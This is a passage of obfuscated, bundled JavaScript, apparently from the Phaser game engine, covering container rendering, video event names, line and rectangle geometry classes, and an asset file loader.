_0x12be89['apply'](_0x31a172, _0x121a07); return this; }, 'setScrollFactor': function (_0x2e3c51, _0x4845be, _0x1e42c8) { return void 0x0 === _0x4845be && (_0x4845be = _0x2e3c51), void 0x0 === _0x1e42c8 && (_0x1e42c8 = !0x1), this['scrollFactorX'] = _0x2e3c51, this['scrollFactorY'] = _0x4845be, _0x1e42c8 && (_0x417e84['SetAll'](this['list'], 'scrollFactorX', _0x2e3c51), _0x417e84['SetAll'](this['list'], 'scrollFactorY', _0x4845be)), this; }, 'length': { 'get': function () { return this['list']['length']; } }, 'first': { 'get': function () { return this['position'] = 0x0, this['list']['length'] > 0x0 ? this['list'][0x0] : null; } }, 'last': { 'get': function () { return this['list']['length'] > 0x0 ? (this['position'] = this['list']['length'] - 0x1, this['list'][this['position']]) : null; } }, 'next': { 'get': function () { return this['position'] < this['list']['length'] ? (this['position']++, this['list'][this['position']]) : null; } }, 'previous': { 'get': function () { return this['position'] > 0x0 ? (this['position']--, this['list'][this['position']]) : null; } }, 'preDestroy': function () { this['removeAll'](!!this['exclusive']), this['localTransform']['destroy'](), this['tempTransformMatrix']['destroy'](), this['list'] = []; } }); _0x5b1025['exports'] = _0x8e827a; }, 0xb18: _0x1f35d6 => { _0x1f35d6['exports'] = function (_0x2f8d61, _0xdd764f, _0x2e7198, _0x30fdab) { _0x2e7198['addToRenderList'](_0xdd764f); var _0x3f675a = _0xdd764f['list']; if (0x0 !== _0x3f675a['length']) { var _0x17f00c = _0xdd764f['localTransform']; _0x30fdab ? (_0x17f00c['loadIdentity'](), _0x17f00c['multiply'](_0x30fdab), _0x17f00c['translate'](_0xdd764f['x'], _0xdd764f['y']), _0x17f00c['rotate'](_0xdd764f['rotation']), _0x17f00c['scale'](_0xdd764f['scaleX'], _0xdd764f['scaleY'])) : _0x17f00c['applyITRS'](_0xdd764f['x'], _0xdd764f['y'], _0xdd764f['rotation'], _0xdd764f['scaleX'], _0xdd764f['scaleY']); var _0x1526de = -0x1 !== _0xdd764f['blendMode']; _0x1526de || _0x2f8d61['setBlendMode'](0x0); var _0x5a37ce = _0xdd764f['_alpha'], _0x12e83a = _0xdd764f['scrollFactorX'], _0x22109c = _0xdd764f['scrollFactorY']; _0xdd764f['mask'] && _0xdd764f['mask']['preRenderCanvas'](_0x2f8d61, null, _0x2e7198); for (var _0x1a6346 = 0x0; _0x1a6346 < _0x3f675a['length']; _0x1a6346++) { var _0x416a0b = _0x3f675a[_0x1a6346]; if (_0x416a0b['willRender'](_0x2e7198)) { var _0x4151b6 = _0x416a0b['alpha'], _0x5c95da = _0x416a0b['scrollFactorX'], _0x51edf5 = _0x416a0b['scrollFactorY']; _0x1526de || _0x416a0b['blendMode'] === _0x2f8d61['currentBlendMode'] || _0x2f8d61['setBlendMode'](_0x416a0b['blendMode']), _0x416a0b['setScrollFactor'](_0x5c95da * _0x12e83a, _0x51edf5 * _0x22109c), _0x416a0b['setAlpha'](_0x4151b6 * _0x5a37ce), _0x416a0b['renderCanvas'](_0x2f8d61, _0x416a0b, _0x2e7198, _0x17f00c), _0x416a0b['setAlpha'](_0x4151b6), _0x416a0b['setScrollFactor'](_0x5c95da, _0x51edf5); } } _0xdd764f['mask'] && _0xdd764f['mask']['postRenderCanvas'](_0x2f8d61); } }; }, 0xca0: (_0x2c38bd, _0x3948e3, _0x5b2de2) => { var _0x43adb3 = _0x5b2de2(0x7c0), _0x3c5aa9 = _0x43adb3, _0x4f61b6 = _0x43adb3; _0x3c5aa9 = _0x5b2de2(0x10f7), _0x4f61b6 = _0x5b2de2(0xb18), _0x2c38bd['exports'] = { 'renderWebGL': _0x3c5aa9, 'renderCanvas': _0x4f61b6 }; }, 0x10f7: _0x294cbb => { _0x294cbb['exports'] = function (_0x5f00ca, _0x2538e4, _0xc9846e, _0x1d200f) { _0xc9846e['addToRenderList'](_0x2538e4); var _0x18049a = _0x2538e4['list'], _0x55d521 = _0x18049a['length']; if (0x0 !== _0x55d521) { var _0x3d3f8a = _0x2538e4['localTransform']; _0x1d200f ? (_0x3d3f8a['loadIdentity'](), _0x3d3f8a['multiply'](_0x1d200f), _0x3d3f8a['translate'](_0x2538e4['x'], _0x2538e4['y']), _0x3d3f8a['rotate'](_0x2538e4['rotation']), _0x3d3f8a['scale'](_0x2538e4['scaleX'], _0x2538e4['scaleY'])) : _0x3d3f8a['applyITRS'](_0x2538e4['x'], _0x2538e4['y'], _0x2538e4['rotation'], _0x2538e4['scaleX'], _0x2538e4['scaleY']), _0x5f00ca['pipelines']['preBatch'](_0x2538e4); var _0x44b410 = -0x1 !== _0x2538e4['blendMode']; _0x44b410 || _0x5f00ca['setBlendMode'](0x0); for (var _0x293eb0 = _0x2538e4['alpha'], _0x292e7f = _0x2538e4['scrollFactorX'], _0x1cd852 = _0x2538e4['scrollFactorY'], _0xb227ca = 0x0; _0xb227ca < _0x55d521; _0xb227ca++) { var _0x198747 = _0x18049a[_0xb227ca]; if (_0x198747['willRender'](_0xc9846e)) { var _0x235423, _0x2bc7ca, _0x4d4ed9, _0x2fac40; if (void 0x0 !== _0x198747['alphaTopLeft']) _0x235423 = _0x198747['alphaTopLeft'], _0x2bc7ca = _0x198747['alphaTopRight'], _0x4d4ed9 = _0x198747['alphaBottomLeft'], _0x2fac40 = _0x198747['alphaBottomRight']; else { var _0xbc5b03 = _0x198747['alpha']; _0x235423 = _0xbc5b03, _0x2bc7ca = _0xbc5b03, _0x4d4ed9 = _0xbc5b03, _0x2fac40 = _0xbc5b03; } var _0x278e35 = _0x198747['scrollFactorX'], _0x475524 = _0x198747['scrollFactorY']; _0x44b410 || _0x198747['blendMode'] === _0x5f00ca['currentBlendMode'] || _0x5f00ca['setBlendMode'](_0x198747['blendMode']); var _0x745607 = _0x198747['mask']; _0x745607 && _0x745607['preRenderWebGL'](_0x5f00ca, _0x198747, _0xc9846e); var _0x394dfb = _0x198747['type']; _0x394dfb !== _0x5f00ca['currentType'] && (_0x5f00ca['newType'] = !0x0, _0x5f00ca['currentType'] = _0x394dfb), _0x5f00ca['nextTypeMatch'] = _0xb227ca < _0x55d521 - 0x1 && _0x18049a[_0xb227ca + 0x1]['type'] === _0x5f00ca['currentType'], _0x198747['setScrollFactor'](_0x278e35 * _0x292e7f, _0x475524 * _0x1cd852), _0x198747['setAlpha'](_0x235423 * _0x293eb0, _0x2bc7ca * _0x293eb0, _0x4d4ed9 * _0x293eb0, _0x2fac40 * _0x293eb0), _0x198747['renderWebGL'](_0x5f00ca, _0x198747, _0xc9846e, _0x3d3f8a, _0x2538e4), _0x198747['setAlpha'](_0x235423, _0x2bc7ca, _0x4d4ed9, _0x2fac40), _0x198747['setScrollFactor'](_0x278e35, _0x475524), _0x745607 && _0x745607['postRenderWebGL'](_0x5f00ca, _0xc9846e), _0x5f00ca['newType'] = !0x1; } } _0x5f00ca['pipelines']['postBatch'](_0x2538e4); } }; }, 0x19d0: _0x5e766a => { _0x5e766a['exports'] = 'addedtoscene'; }, 0x10a9: _0x4b740a => { _0x4b740a['exports'] = 'destroy'; }, 0x21df: _0x386cf2 => { _0x386cf2['exports'] = 'removedfromscene'; }, 0xd5c: _0x2eaec3 => { _0x2eaec3['exports'] = 'complete'; }, 0x259: _0x3a819b => { _0x3a819b['exports'] = 'created'; }, 0x1eef: _0x3f5931 => { _0x3f5931['exports'] = 'error'; }, 0x1857: _0xe844bb => { _0xe844bb['exports'] = 'locked'; }, 0x1479: _0x238965 => { _0x238965['exports'] = 'loop'; }, 0x2085: _0x3d6e46 => { _0x3d6e46['exports'] = 'playing'; }, 0xd1c: _0x56415c => { _0x56415c['exports'] = 'play'; }, 0x1d59: _0x2ad39e => { _0x2ad39e['exports'] = 'seeked'; }, 0x169c: _0x11aa29 => { _0x11aa29['exports'] = 'seeking'; }, 0x1bc7: _0xea6cb5 => { _0xea6cb5['exports'] = 'stalled'; }, 0x1fb6: _0x46bc0a => { _0x46bc0a['exports'] = 'stop'; }, 0x23e0: _0x3ec7f2 => { _0x3ec7f2['exports'] = 'textureready'; }, 0x10bf: _0x3ab867 => { _0x3ab867['exports'] = 'unlocked'; }, 0x359: _0x8269d1 => { _0x8269d1['exports'] = 'unsupported'; }, 0xd3d: (_0x544673, _0x41f38c, _0x16379e) => { _0x544673['exports'] = { 'ADDED_TO_SCENE': _0x16379e(0x19d0), 'DESTROY': _0x16379e(0x10a9), 'REMOVED_FROM_SCENE': _0x16379e(0x21df), 'VIDEO_COMPLETE': _0x16379e(0xd5c), 'VIDEO_CREATED': _0x16379e(0x259), 'VIDEO_ERROR': _0x16379e(0x1eef), 'VIDEO_LOCKED': _0x16379e(0x1857), 'VIDEO_LOOP': _0x16379e(0x1479), 'VIDEO_PLAY': _0x16379e(0xd1c), 'VIDEO_PLAYING': _0x16379e(0x2085), 'VIDEO_SEEKED': _0x16379e(0x1d59), 'VIDEO_SEEKING': _0x16379e(0x169c), 'VIDEO_STALLED': _0x16379e(0x1bc7), 'VIDEO_STOP': _0x16379e(0x1fb6), 'VIDEO_TEXTURE': _0x16379e(0x23e0), 'VIDEO_UNLOCKED': _0x16379e(0x10bf), 'VIDEO_UNSUPPORTED': _0x16379e(0x359) }; }, 0x66b: _0x193d2b => { _0x193d2b['exports'] = { 'CIRCLE': 0x0, 'ELLIPSE': 0x1, 'LINE': 0x2, 'POINT': 0x3, 'POLYGON': 0x4, 'RECTANGLE': 0x5, 'TRIANGLE': 0x6 }; }, 0x22b1: (_0x1be297, _0x2c536f, _0x28096a) => { var _0x2df331 = _0x28096a(0x1de7); _0x1be297['exports'] = function (_0x5b8f33, _0x91e58f, _0x1eb8f9) { return void 0x0 === _0x1eb8f9 && (_0x1eb8f9 = new _0x2df331()), _0x1eb8f9['x'] = _0x5b8f33['x1'] + (_0x5b8f33['x2'] - _0x5b8f33['x1']) * _0x91e58f, _0x1eb8f9['y'] = _0x5b8f33['y1'] + (_0x5b8f33['y2'] - _0x5b8f33['y1']) * _0x91e58f, _0x1eb8f9; }; }, 0x117f: (_0x369c48, _0x65283e, _0x100482) => { var _0x295921 = _0x100482(0x12a3), _0x30df3a = _0x100482(0x1de7); _0x369c48['exports'] = function (_0x431e9b, _0x4c984d, _0x54afa8, _0x316624) { void 0x0 === _0x316624 && (_0x316624 = []), !_0x4c984d && _0x54afa8 > 0x0 && (_0x4c984d = _0x295921(_0x431e9b) / _0x54afa8); for (var _0x5ec578 = _0x431e9b['x1'], _0x3f404e = _0x431e9b['y1'], _0x1a9065 = _0x431e9b['x2'], _0x2fe8e0 = _0x431e9b['y2'], _0x4e4c7c = 0x0; _0x4e4c7c < _0x4c984d; _0x4e4c7c++) { var _0x556e9f = _0x4e4c7c / _0x4c984d, _0x78fae5 = _0x5ec578 + (_0x1a9065 - _0x5ec578) * _0x556e9f, _0xcfa688 = _0x3f404e + (_0x2fe8e0 - _0x3f404e) * _0x556e9f; _0x316624['push'](new _0x30df3a(_0x78fae5, _0xcfa688)); } return _0x316624; }; }, 0x12a3: _0x514033 => { _0x514033['exports'] = function (_0x529fc6) { return Math['sqrt']((_0x529fc6['x2'] - _0x529fc6['x1']) * (_0x529fc6['x2'] - _0x529fc6['x1']) + (_0x529fc6['y2'] - _0x529fc6['y1']) * (_0x529fc6['y2'] - _0x529fc6['y1'])); }; }, 0x11c: (_0x2366b2, _0x206247, _0x306bb7) => { var _0xd1840b = _0x306bb7(0x1d31), _0x183f76 = _0x306bb7(0x22b1), _0x21d578 = _0x306bb7(0x117f), _0xac62e7 = _0x306bb7(0x66b), _0x375503 = _0x306bb7(0xf4b), _0x2e2fa7 = _0x306bb7(0x9e1), _0x3e5382 = new _0xd1840b({ 'initialize': function (_0x4f7540, _0x1d4774, _0x377de9, _0x23690c) { void 0x0 === _0x4f7540 && (_0x4f7540 = 0x0), void 0x0 === _0x1d4774 && (_0x1d4774 = 0x0), void 0x0 === _0x377de9 && (_0x377de9 = 0x0), void 0x0 === _0x23690c && (_0x23690c = 0x0), this['type'] = _0xac62e7['LINE'], this['x1'] = _0x4f7540, this['y1'] = _0x1d4774, this['x2'] = _0x377de9, this['y2'] = _0x23690c; }, 'getPoint': function (_0x458d10, _0x555452) { return _0x183f76(this, _0x458d10, _0x555452); }, 'getPoints': function (_0x3b3a87, _0x371e14, _0x37ccc5) { return _0x21d578(this, _0x3b3a87, _0x371e14, _0x37ccc5); }, 'getRandomPoint': function (_0x2e8bf6) { return _0x375503(this, _0x2e8bf6); }, 'setTo': function (_0x4c8a53, _0x32026d, _0x6661ff, _0x40eb3a) { return void 0x0 === _0x4c8a53 && (_0x4c8a53 = 0x0), void 0x0 === _0x32026d && (_0x32026d = 0x0), void 0x0 === _0x6661ff && (_0x6661ff = 0x0), void 0x0 === _0x40eb3a && (_0x40eb3a = 0x0), this['x1'] = _0x4c8a53, this['y1'] = _0x32026d, this['x2'] = _0x6661ff, this['y2'] = _0x40eb3a, this; }, 'setFromObjects': function (_0x468d06, _0x4f54ae) { return this['x1'] = _0x468d06['x'], this['y1'] = _0x468d06['y'], this['x2'] = _0x4f54ae['x'], this['y2'] = _0x4f54ae['y'], this; }, 'getPointA': function (_0x4a2cef) { return void 0x0 === _0x4a2cef && (_0x4a2cef = new _0x2e2fa7()), _0x4a2cef['set'](this['x1'], this['y1']), _0x4a2cef; }, 'getPointB': function (_0x50efda) { return void 0x0 === _0x50efda && (_0x50efda = new _0x2e2fa7()), _0x50efda['set'](this['x2'], this['y2']), _0x50efda; }, 'left': { 'get': function () { return Math['min'](this['x1'], this['x2']); }, 'set': function (_0x5a6178) { this['x1'] <= this['x2'] ? this['x1'] = _0x5a6178 : this['x2'] = _0x5a6178; } }, 'right': { 'get': function () { return Math['max'](this['x1'], this['x2']); }, 'set': function (_0x1fbcc0) { this['x1'] > this['x2'] ? this['x1'] = _0x1fbcc0 : this['x2'] = _0x1fbcc0; } }, 'top': { 'get': function () { return Math['min'](this['y1'], this['y2']); }, 'set': function (_0x335977) { this['y1'] <= this['y2'] ? this['y1'] = _0x335977 : this['y2'] = _0x335977; } }, 'bottom': { 'get': function () { return Math['max'](this['y1'], this['y2']); }, 'set': function (_0x405e2f) { this['y1'] > this['y2'] ? this['y1'] = _0x405e2f : this['y2'] = _0x405e2f; } } }); _0x2366b2['exports'] = _0x3e5382; }, 0xf4b: (_0x449b2a, _0x5abb82, _0x41b969) => { var _0x326fc3 = _0x41b969(0x1de7); _0x449b2a['exports'] = function (_0x14a29b, _0x1d208e) { void 0x0 === _0x1d208e && (_0x1d208e = new _0x326fc3()); var _0x10dd3f = Math['random'](); return _0x1d208e['x'] = _0x14a29b['x1'] + _0x10dd3f * (_0x14a29b['x2'] - _0x14a29b['x1']), _0x1d208e['y'] = _0x14a29b['y1'] + _0x10dd3f * (_0x14a29b['y2'] - _0x14a29b['y1']), _0x1d208e; }; }, 0x1de7: (_0x530e0c, _0x46f991, _0x5b24b6) => { var _0x3417a1 = _0x5b24b6(0x1d31), _0x5dcf94 = _0x5b24b6(0x66b), _0x5d9b8d = new _0x3417a1({ 'initialize': function (_0xdc6407, _0x253e51) { void 0x0 === _0xdc6407 && (_0xdc6407 = 0x0), void 0x0 === _0x253e51 && (_0x253e51 = _0xdc6407), this['type'] = _0x5dcf94['POINT'], this['x'] = _0xdc6407, this['y'] = _0x253e51; }, 'setTo': function (_0x5e3f8b, _0x366259) { return void 0x0 === _0x5e3f8b && (_0x5e3f8b = 0x0), void 0x0 === _0x366259 && (_0x366259 = _0x5e3f8b), this['x'] = _0x5e3f8b, this['y'] = _0x366259, this; } }); _0x530e0c['exports'] = _0x5d9b8d; }, 0x1744: _0x44ec6f => { _0x44ec6f['exports'] = function (_0x43f6b0, _0x427c97, _0x34c51f) { return !(_0x43f6b0['width'] <= 0x0 || _0x43f6b0['height'] <= 0x0) && (_0x43f6b0['x'] <= _0x427c97 && _0x43f6b0['x'] + _0x43f6b0['width'] >= _0x427c97 && _0x43f6b0['y'] <= _0x34c51f && _0x43f6b0['y'] + _0x43f6b0['height'] >= _0x34c51f); }; }, 0x2cc: (_0x21baf1, _0x4c3f61, _0x5c8a16) => { var _0x3cd886 = _0x5c8a16(0x1bd0), _0xc18103 = _0x5c8a16(0x1de7); _0x21baf1['exports'] = function (_0x41e238, _0x171857, _0x578641) { if (void 0x0 === _0x578641 && (_0x578641 = new _0xc18103()), _0x171857 <= 0x0 || _0x171857 >= 0x1) return _0x578641['x'] = _0x41e238['x'], _0x578641['y'] = _0x41e238['y'], _0x578641; var _0x46b2b6 = _0x3cd886(_0x41e238) * _0x171857; return _0x171857 > 0.5 ? (_0x46b2b6 -= _0x41e238['width'] + _0x41e238['height']) <= _0x41e238['width'] ? (_0x578641['x'] = _0x41e238['right'] - _0x46b2b6, _0x578641['y'] = _0x41e238['bottom']) : (_0x578641['x'] = _0x41e238['x'], _0x578641['y'] = _0x41e238['bottom'] - (_0x46b2b6 - _0x41e238['width'])) : _0x46b2b6 <= _0x41e238['width'] ? (_0x578641['x'] = _0x41e238['x'] + _0x46b2b6, _0x578641['y'] = _0x41e238['y']) : (_0x578641['x'] = _0x41e238['right'], _0x578641['y'] = _0x41e238['y'] + (_0x46b2b6 - _0x41e238['width'])), _0x578641; }; }, 0x1fd7: (_0x345ca1, _0x5839cb, _0x46bcd1) => { var _0x1e255b = _0x46bcd1(0x2cc), _0x2979a9 = _0x46bcd1(0x1bd0); _0x345ca1['exports'] = function (_0xaae182, _0x4e5fe7, _0x5d6f82, _0x5dac4a) { void 0x0 === _0x5dac4a && (_0x5dac4a = []), !_0x4e5fe7 && _0x5d6f82 > 0x0 && (_0x4e5fe7 = _0x2979a9(_0xaae182) / _0x5d6f82); for (var _0xc4118f = 0x0; _0xc4118f < _0x4e5fe7; _0xc4118f++) { var _0x46138e = _0xc4118f / _0x4e5fe7; _0x5dac4a['push'](_0x1e255b(_0xaae182, _0x46138e)); } return _0x5dac4a; }; }, 0x1bd0: _0xbbcda4 => { _0xbbcda4['exports'] = function (_0x3cc43e) { return 0x2 * (_0x3cc43e['width'] + _0x3cc43e['height']); }; }, 0x871: (_0x3253af, _0x3c9311, _0x5b1dca) => { var _0x1bf948 = _0x5b1dca(0x1de7); _0x3253af['exports'] = function (_0x4002bd, _0x1841ae) { return void 0x0 === _0x1841ae && (_0x1841ae = new _0x1bf948()), _0x1841ae['x'] = _0x4002bd['x'] + Math['random']() * _0x4002bd['width'], _0x1841ae['y'] = _0x4002bd['y'] + Math['random']() * _0x4002bd['height'], _0x1841ae; }; }, 0x570: (_0x594222, _0x89b89b, _0x4a98ac) => { var _0x4dcf42 = _0x4a98ac(0x1d31), _0x3399cb = _0x4a98ac(0x1744), _0x386e9e = _0x4a98ac(0x2cc), _0x3683f6 = _0x4a98ac(0x1fd7), _0x37f734 = _0x4a98ac(0x66b), _0x13ace6 = _0x4a98ac(0x11c), _0x243f28 = _0x4a98ac(0x871), _0x5718d8 = new _0x4dcf42({ 'initialize': function (_0x236606, _0x3db604, _0x145e89, _0x1ee050) { void 0x0 === _0x236606 && (_0x236606 = 0x0), void 0x0 === _0x3db604 && (_0x3db604 = 0x0), void 0x0 === _0x145e89 && (_0x145e89 = 0x0), void 0x0 === _0x1ee050 && (_0x1ee050 = 0x0), this['type'] = _0x37f734['RECTANGLE'], this['x'] = _0x236606, this['y'] = _0x3db604, this['width'] = _0x145e89, this['height'] = _0x1ee050; }, 'contains': function (_0x37bfbc, _0x39c377) { return _0x3399cb(this, _0x37bfbc, _0x39c377); }, 'getPoint': function (_0xf4d7b1, _0x5e4880) { return _0x386e9e(this, _0xf4d7b1, _0x5e4880); }, 'getPoints': function (_0x4aff81, _0xb047ae, _0x2e2d6f) { return _0x3683f6(this, _0x4aff81, _0xb047ae, _0x2e2d6f); }, 'getRandomPoint': function (_0x4d3c96) { return _0x243f28(this, _0x4d3c96); }, 'setTo': function (_0x429e8c, _0x458138, _0xdce6e7, _0xc356eb) { return this['x'] = _0x429e8c, this['y'] = _0x458138, this['width'] = _0xdce6e7, this['height'] = _0xc356eb, this; }, 'setEmpty': function () { return this['setTo'](0x0, 0x0, 0x0, 0x0); }, 'setPosition': function (_0x3d7cdf, _0x560abe) { return void 0x0 === _0x560abe && (_0x560abe = _0x3d7cdf), this['x'] = _0x3d7cdf, this['y'] = _0x560abe, this; }, 'setSize': function (_0x496159, _0x5a1295) { return void 0x0 === _0x5a1295 && (_0x5a1295 = _0x496159), this['width'] = _0x496159, this['height'] = _0x5a1295, this; }, 'isEmpty': function () { return this['width'] <= 0x0 || this['height'] <= 0x0; }, 'getLineA': function (_0x1b4f9e) { return void 0x0 === _0x1b4f9e && (_0x1b4f9e = new _0x13ace6()), _0x1b4f9e['setTo'](this['x'], this['y'], this['right'], this['y']), _0x1b4f9e; }, 'getLineB': function (_0x366216) { return void 0x0 === _0x366216 && (_0x366216 = new _0x13ace6()), _0x366216['setTo'](this['right'], this['y'], this['right'], this['bottom']), _0x366216; }, 'getLineC': function (_0x3d9616) { return void 0x0 === _0x3d9616 && (_0x3d9616 = new _0x13ace6()), _0x3d9616['setTo'](this['right'], this['bottom'], this['x'], this['bottom']), _0x3d9616; }, 'getLineD': function (_0x394547) { return void 0x0 === _0x394547 && (_0x394547 = new _0x13ace6()), _0x394547['setTo'](this['x'], this['bottom'], this['x'], this['y']), _0x394547; }, 'left': { 'get': function () { return this['x']; }, 'set': function (_0x3d7303) { _0x3d7303 >= this['right'] ? this['width'] = 0x0 : this['width'] = this['right'] - _0x3d7303, this['x'] = _0x3d7303; } }, 'right': { 'get': function () { return this['x'] + this['width']; }, 'set': function (_0x5ea620) { _0x5ea620 <= this['x'] ? this['width'] = 0x0 : this['width'] = _0x5ea620 - this['x']; } }, 'top': { 'get': function () { return this['y']; }, 'set': function (_0x3eb62e) { _0x3eb62e >= this['bottom'] ? this['height'] = 0x0 : this['height'] = this['bottom'] - _0x3eb62e, this['y'] = _0x3eb62e; } }, 'bottom': { 'get': function () { return this['y'] + this['height']; }, 'set': function (_0x48af92) { _0x48af92 <= this['y'] ? this['height'] = 0x0 : this['height'] = _0x48af92 - this['y']; } }, 'centerX': { 'get': function () { return this['x'] + this['width'] / 0x2; }, 'set': function (_0x38b44c) { this['x'] = _0x38b44c - this['width'] / 0x2; } }, 'centerY': { 'get': function () { return this['y'] + this['height'] / 0x2; }, 'set': function (_0x852cc8) { this['y'] = _0x852cc8 - this['height'] / 0x2; } } }); _0x594222['exports'] = _0x5718d8; }, 0x24ce: (_0x18d3d0, _0x1a8e25, _0x5920b0) => { var _0x101307 = _0x5920b0(0x570); _0x18d3d0['exports'] = function (_0x849cf7, _0x1ff05c, _0x3c55e7) { void 0x0 === _0x3c55e7 && (_0x3c55e7 = new _0x101307()); var _0x53714e = Math['min'](_0x849cf7['x'], _0x1ff05c['x']), _0x372461 = Math['min'](_0x849cf7['y'], _0x1ff05c['y']), _0x2764c5 = Math['max'](_0x849cf7['right'], _0x1ff05c['right']) - _0x53714e, _0x5ce121 = Math['max'](_0x849cf7['bottom'], _0x1ff05c['bottom']) - _0x372461; return _0x3c55e7['setTo'](_0x53714e, _0x372461, _0x2764c5, _0x5ce121); }; }, 0x639: (_0x4e6800, _0x15a9e8, _0x19d20) => { var _0x292f6f = _0x19d20(0x1d31), _0x213ec4 = _0x19d20(0x1107), _0x21de57 = _0x19d20(0x49b), _0x4e1583 = _0x19d20(0x11f5), _0x3611c4 = _0x19d20(0x15d9), _0x5ec947 = _0x19d20(0x1cf2), _0x3e416c = _0x19d20(0x16f2), _0x38963e = _0x19d20(0x2c3), _0x37835d = new _0x292f6f({ 'initialize': function (_0x544a79, _0x2dab69) { if (this['loader'] = _0x544a79, this['cache'] = _0x4e1583(_0x2dab69, 'cache', !0x1), this['type'] = _0x4e1583(_0x2dab69, 'type', !0x1), !this['type']) throw new Error('Invalid\x20File\x20type:\x20' + this['type']); this['key'] = _0x4e1583(_0x2dab69, 'key', !0x1); var _0x1cffb6 = this['key']; if (_0x544a79['prefix'] && '' !== _0x544a79['prefix'] && (this['key'] = _0x544a79['prefix'] + _0x1cffb6), !this['key']) throw new Error('Invalid\x20File\x20key:\x20' + this['key']); var _0xbc629f = _0x4e1583(_0x2dab69, 'url'); void 0x0 === _0xbc629f ? _0xbc629f = _0x544a79['path'] + _0x1cffb6 + '.' + _0x4e1583(_0x2dab69, 'extension', '') : 'string' != typeof _0xbc629f || _0xbc629f['match'](/^(?:blob:|data:|capacitor:\/\/|http:\/\/|https:\/\/|\/\/)/) || (_0xbc629f = _0x544a79['path'] + _0xbc629f), this['url'] = _0xbc629f, this['src'] = '', this['xhrSettings'] = _0x38963e(_0x4e1583(_0x2dab69, 'responseType', void 0x0)), _0x4e1583(_0x2dab69, 'xhrSettings', !0x1) && (this['xhrSettings'] = _0x5ec947(this['xhrSettings'], _0x4e1583(_0x2dab69, 'xhrSettings', {}))), this['xhrLoader'] = null, this['state'] = 'function' == typeof this['url'] ? _0x213ec4['FILE_POPULATED'] : _0x213ec4['FILE_PENDING'], this['bytesTotal'] = 0x0, this['bytesLoaded'] = -0x1, this['percentComplete'] = -0x1, this['crossOrigin'] = void 0x0, this['data'] = void 0x0, this['config'] = _0x4e1583(_0x2dab69, 'config', {}), this['multiFile'], this['linkFile']; }, 'setLink': function (_0x3f6e94) { this['linkFile'] = _0x3f6e94, _0x3f6e94['linkFile'] = this; }, 'resetXHR': function () { this['xhrLoader'] && (this['xhrLoader']['onload'] = void 0x0, this['xhrLoader']['onerror'] = void 0x0, this['xhrLoader']['onprogress'] = void 0x0); }, 'load': function () { this['state'] === _0x213ec4['FILE_POPULATED'] ? this['loader']['nextFile'](this, !0x0) : (this['state'] = _0x213ec4['FILE_LOADING'], this['src'] = _0x3611c4(this, this['loader']['baseURL']), 0x0 === this['src']['indexOf']('data:') || (this['xhrLoader'] = _0x3e416c(this, this['loader']['xhr']))); }, 'onLoad': function (_0x488d98, _0x306840) { var _0x157f50 = _0x488d98['responseURL'] && this['loader']['localSchemes']['some'](function (_0x42b410) { return 0x0 === _0x488d98['responseURL']['indexOf'](_0x42b410); }) && 0x0 === _0x306840['target']['status'], _0x5aa0d4 = !(_0x306840['target'] && 0xc8 !== _0x306840['target']['status']) || _0x157f50; 0x4 === _0x488d98['readyState'] && _0x488d98['status'] >= 0x190 && _0x488d98['status'] <= 0x257 && (_0x5aa0d4 = !0x1), this['state'] = _0x213ec4['FILE_LOADED'], this['resetXHR'](), this['loader']['nextFile'](this, _0x5aa0d4); }, 'onError': function () { this['resetXHR'](), this['loader']['nextFile'](this, !0x1); }, 'onProgress': function (_0xc7eefe) { _0xc7eefe['lengthComputable'] && (this['bytesLoaded'] = _0xc7eefe['loaded'], this['bytesTotal'] = _0xc7eefe['total'], this['percentComplete'] = Math['min'](this['bytesLoaded'] / this['bytesTotal'], 0x1), this['loader']['emit'](_0x21de57['FILE_PROGRESS'], this, this['percentComplete'])); }, 'onProcess': function () { this['state'] = _0x213ec4['FILE_PROCESSING'], this['onProcessComplete'](); }, 'onProcessComplete': function () { this['state'] = _0x213ec4['FILE_COMPLETE'], this['multiFile'] && this['multiFile']['onFileComplete'](this), this['loader']['fileProcessComplete'](this); }, 'onProcessError': function () { this['state'] = _0x213ec4['FILE_ERRORED'], this['multiFile'] && this['multiFile']['onFileFailed'](this), this['loader']['fileProcessComplete'](this); }, 'hasCacheConflict': function () { return this['cache'] && this['cache']['exists'](this['key']); }, 'addToCache': function () { this['cache'] && this['data'] && this['cache']['add'](this['key'], this['data']); }, 'pendingDestroy': function (_0x7edf0b) { if (this['state'] !== _0x213ec4['FILE_PENDING_DESTROY']) { void 0x0 === _0x7edf0b && (_0x7edf0b = this['data']); var _0x40415b = this['key'], _0xe7fd3f = this['type']; this['loader']['emit'](_0x21de57['FILE_COMPLETE'], _0x40415b, _0xe7fd3f, _0x7edf0b), this['loader']['emit'](_0x21de57['FILE_KEY_COMPLETE'] + _0xe7fd3f + '-' + _0x40415b, _0x40415b, _0xe7fd3f, _0x7edf0b), this['loader']['flagForRemoval'](this), this['state'] = _0x213ec4['FILE_PENDING_DESTROY']; } }, 'destroy': function () { this['loader'] = null, this['cache'] = null, this['xhrSettings'] = null, this['multiFile'] = null, this['linkFile'] = null, this['data'] = null; } }); _0x37835d['createObjectURL'] = function (_0xabbe14, _0x9b2184, _0x4f0c2b) { if ('function' == typeof URL) _0xabbe14['src'] = URL['createObjectURL'](_0x9b2184); else { var _0x209563 = new FileReader(); _0x209563['onload'] = function () { _0xabbe14['removeAttribute']('crossOrigin'), _0xabbe14['src'] = 'data:' + (_0x9b2184['type'] || _0x4f0c2b) + ';base64,' + _0x209563['result']['split'](',')[0x1]; }, _0x209563['onerror'] = _0xabbe14['onerror'], _0x209563['readAsDataURL'](_0x9b2184); } }, _0x37835d['revokeObjectURL'] = function (_0x46de0d) { 'function' == typeof URL && URL['revokeObjectURL'](_0x46de0d['src']); }, _0x4e6800['exports'] = _0x37835d; }, 0x2675: _0x57b474 => { var _0x2cc69 = {}, _0x1ef821 = { 'install': function (_0xefbedb) { for (var _0x1fceee in _0x2cc69) _0xefbedb[_0x1fceee] = _0x2cc69[_0x1fceee]; }, 'register': function (_0x5d4052, _0x255dfe) { _0x2cc69[_0x5d4052] = _0x255dfe; }, 'destroy': function () { _0x2cc69 = {}; } }; _0x57b474['exports'] = _0x1ef821; }, 0x15d9: _0x20ef2e => { _0x20ef2e['exports'] = function (_0x56dd7c, _0x656f27) { return !!_0x56dd7c['url'] && (_0x56dd7c['url']['match'](/^(?:blob:|data:|capacitor:\/\/|http:\/\/|https:\/\/|\/\/)/) ? _0x56dd7c['url'] : _0x656f27 + _0x56dd7c['url']); }; }, 0x1cf2: (_0x159026, _0x8ee828, _0xca581a) => { var _0x5ae2cb = _0xca581a(0x406), 